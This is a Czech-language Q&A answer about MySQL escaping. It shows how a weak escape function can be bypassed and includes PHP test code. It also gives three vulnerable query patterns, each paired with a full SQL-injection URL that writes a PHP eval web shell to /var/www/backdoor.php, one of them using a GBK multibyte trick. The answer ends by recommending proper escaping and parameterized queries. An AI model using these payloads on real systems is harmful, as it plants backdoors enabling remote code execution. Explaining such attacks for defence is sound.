sql >> Databáze >  >> RDS >> Mysql

Našli jste slabou únikovou funkci pro MySql, jak ji využít?

Pokud jste jen nahrazující ' s '' pak byste to mohli zneužít vložením \' který se změní na \'' a to vám umožní vymanit se z toho, protože to vám dá „charakter doslovné“ jednoduché uvozovky a skutečné jednoduché uvozovky. Nicméně nahrazení "\\" s "\\\\" tento útok neguje. Dvojité jednoduché uvozovky se používají k "uniknutí" jednoduchých uvozovek pro MS-SQL, ale to není správné pro MySQL, ale může to fungovat.

Následující kódy dokazují že tato úniková funkce je bezpečná pro všechny kromě tří podmínek . Tento kód permutuje všechny možné varianty kontrolních stanov a každou z nich testuje, aby se ujistil, že nedojde k chybě s příkazem select uzavřeným do jediné citace. Tento kód byl testován na MySQL 5.1.41.

<?php
mysql_connect("localhost",'root','');
function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

$chars=array("'","\\","\0","a");

for($w=0;$w<4;$w++){
    for($x=0;$x<4;$x++){
        for($y=0;$y<4;$y++){
            for($z=0;$z<4;$z++){
                mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
            }       
        }
    }
}
print "Escape function is safe :(";
?>

Chybný stav 1:nejsou použity žádné uvozovky.

mysql_query("select username from users where id=".escape($_GET['id']));

Využití:

http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"

Chybný stav 2:byly použity dvojité uvozovky

mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");

Využití:

http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

Chybná podmínka 2:jsou použity jednoduché uvozovky, nicméně používá se alternativní znaková sada. .

mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");

Využití:

http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

Závěrem je vždy použít mysql_real_escape_string() jako úniková rutina pro MySQL. Parametrizované knihovny dotazů jako pdo a adodb vždy používají mysql_real_escape_string() při připojení k databázi mysql. addslashes() je MNOHEM LEPŠÍ únikové rutiny, protože se stará o zranitelný stav 2. Je třeba poznamenat, že ani mysql_real_escape_string() zastaví podmínku 1, ale knihovna parametrizovaných dotazů ano.



  1. Zvyšte a snižte hodnotu řádku o 1 v MySQL

  2. Jak rekurzivně najít všechna ID dětí?

  3. Sloučit dva sloupce ze dvou tabulek do jedné

  4. Mysql Max se skupinou podle dotazu